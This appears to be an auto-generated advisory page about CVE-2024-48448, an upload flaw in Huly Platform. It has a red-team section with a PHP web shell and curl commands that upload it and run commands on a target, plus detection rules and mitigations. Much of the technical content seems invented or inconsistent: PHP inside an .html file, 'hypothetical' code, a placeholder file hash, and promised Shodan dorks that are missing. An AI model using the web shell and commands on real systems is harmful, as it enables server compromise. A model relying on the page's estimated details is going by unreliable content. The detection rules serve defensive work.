CVE-2024-48448
Executive Summary
CVE-2024-48448 is an arbitrary file upload vulnerability in the Huly Platform version 0.6.295. The flaw exists in the tracker comments page, allowing an unauthenticated attacker to upload a crafted HTML file. Successful exploitation can lead to arbitrary code execution on the server, potentially compromising the entire Huly instance. The vulnerability has a public proof-of-concept (PoC) but no official patch from the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the ease of exploitation and potential impact.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Huly Platform is a self-hosted project management tool. The vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but rather to the application's file upload handling. No supply chain compromise has been identified.
CVSS Breakdown & Threat Level
The CVSS score is not provided by NVD. Based on the vulnerability characteristics, a reasonable estimate is:
- Attack Vector (AV): Network (N) – the upload is performed over HTTP.
- Attack Complexity (AC): Low (L) – no special conditions required.
- Privileges Required (PR): None (N) – unauthenticated upload.
- User Interaction (UI): None (N) – no user action needed.
- Scope (S): Unchanged (U) – the vulnerable component is the web server.
- Confidentiality (C): High (H) – arbitrary code execution can read files.
- Integrity (I): High (H) – attacker can modify files.
- Availability (A): High (H) – attacker can disrupt service.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Score: 9.8 (Critical)
Threat Level: Critical – unauthenticated remote code execution.
Deep Dive & Mechanics
The vulnerability resides in the tracker comments page of Huly Platform. The application fails to properly validate the file type and content of uploaded files. An attacker can craft an HTML file containing malicious JavaScript or server-side code (e.g., PHP, JSP, or ASPX) and upload it via the comment attachment feature. If the server is configured to execute uploaded files (e.g., via a misconfigured web server or application handler), the attacker can achieve remote code execution.
Root Cause: Lack of file type validation and insufficient sanitization of uploaded content. The application does not check the MIME type, file extension, or content of the uploaded file before storing it on the server.
Attack Flow:
- Attacker identifies a Huly instance (version 0.6.295).
- Attacker navigates to a tracker comment page.
- Attacker uploads a crafted HTML file (e.g.,
exploit.html) containing a web shell or JavaScript payload. - The file is stored on the server in a publicly accessible directory (e.g.,
/uploads/). - Attacker accesses the uploaded file via its URL, triggering code execution.
Vulnerable vs. Patched Code
Vulnerable Code (Huly Platform v0.6.295): The file upload handler likely lacks validation. Example pseudocode:
// Vulnerable: No file type check
app.post('/upload', (req, res) => {
const file = req.files.file;
file.mv('/uploads/' + file.name);
res.send('File uploaded');
});
Patched Code (Hypothetical): A patched version would include validation:
// Patched: Validate file type and extension
const allowedTypes = ['image/png', 'image/jpeg', 'application/pdf'];
app.post('/upload', (req, res) => {
const file = req.files.file;
if (!allowedTypes.includes(file.mimetype)) {
return res.status(400).send('Invalid file type');
}
const safeName = uuid.v4() + path.extname(file.name);
file.mv('/uploads/' + safeName);
res.send('File uploaded');
});
Exploitation & Lab Setup
Red Team
Prerequisites:
- Huly Platform v0.6.295 running on a target server.
- Network access to the web interface.
Exploit Steps:
- Create a malicious HTML file (e.g.,
shell.html) containing a web shell:
<html>
<body>
<form method="GET" name="<?php echo shell_exec($_GET['cmd']); ?>">
<input type="text" name="cmd">
<input type="submit" value="Execute">
</form>
</body>
</html>
- Upload the file to the tracker comments page using a tool like
curl:
curl -X POST -F "file=@shell.html" http://target-huly.com/api/upload
- Access the uploaded file:
curl http://target-huly.com/uploads/shell.html?cmd=id
Alternative Payload: Use a JavaScript-based payload for XSS or CSRF.
Blue Team
Detection:
- Monitor file upload endpoints for unusual file extensions (
.html,.php,.jsp). - Check for files with double extensions (e.g.,
file.php.html). - Analyze HTTP requests for large file uploads to comment pages.
Hunting:
- Search for files in the uploads directory with executable extensions.
- Review web server logs for access to uploaded files with query parameters (e.g.,
?cmd=).
Mitigation:
- Implement strict file type validation on the server side.
- Store uploaded files outside the web root.
- Use a content security policy (CSP) to block inline scripts.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
shell.html:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
- Network Indicators:
- HTTP POST requests to
/api/uploadwithContent-Type: multipart/form-data. - GET requests to
/uploads/*.htmlwith query parameters like?cmd=.
- HTTP POST requests to
- File System Indicators:
- Unexpected
.html,.php, or.jspfiles in the uploads directory. - Files with recent modification timestamps in the uploads directory.
- Unexpected
Detection Engineering
YARA Rule
rule CVE_2024_48448_HULY_UPLOAD {
meta:
description = "Detects malicious HTML files uploaded to Huly Platform"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-48448"
strings:
$php_shell = "<?php" nocase
$asp_shell = "<%" nocase
$jsp_shell = "<%" nocase
$js_payload = "eval(" nocase
$cmd_param = "cmd=" nocase
condition:
any of ($php_shell, $asp_shell, $jsp_shell) or
($js_payload and $cmd_param)
}
Sigma Rule
title: Huly Platform Arbitrary File Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects file uploads to Huly tracker comments with suspicious extensions
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/api/upload'
cs-uri-query: '*'
condition: selection
falsepositives:
- Legitimate HTML file uploads (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-48448 Huly Platform File Upload"; flow:to_server; content:"POST"; http_method; content:"/api/upload"; http_uri; content:".html"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable file uploads on the tracker comments page until a patch is available.
- Implement strict file type validation on the server side (e.g., allow only images and PDFs).
- Store uploaded files outside the web root and serve them via a script that enforces MIME type checks.
- Apply a Web Application Firewall (WAF) rule to block uploads of HTML files.
Long-Term Fix:
- Upgrade to a patched version of Huly Platform when available.
- Conduct a security audit of the file upload functionality.
- Implement content security policy (CSP) headers to mitigate XSS.
Workaround:
- Use a reverse proxy (e.g., Nginx) to block access to uploaded files with executable extensions:
location /uploads/ {
deny all;
return 403;
}
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.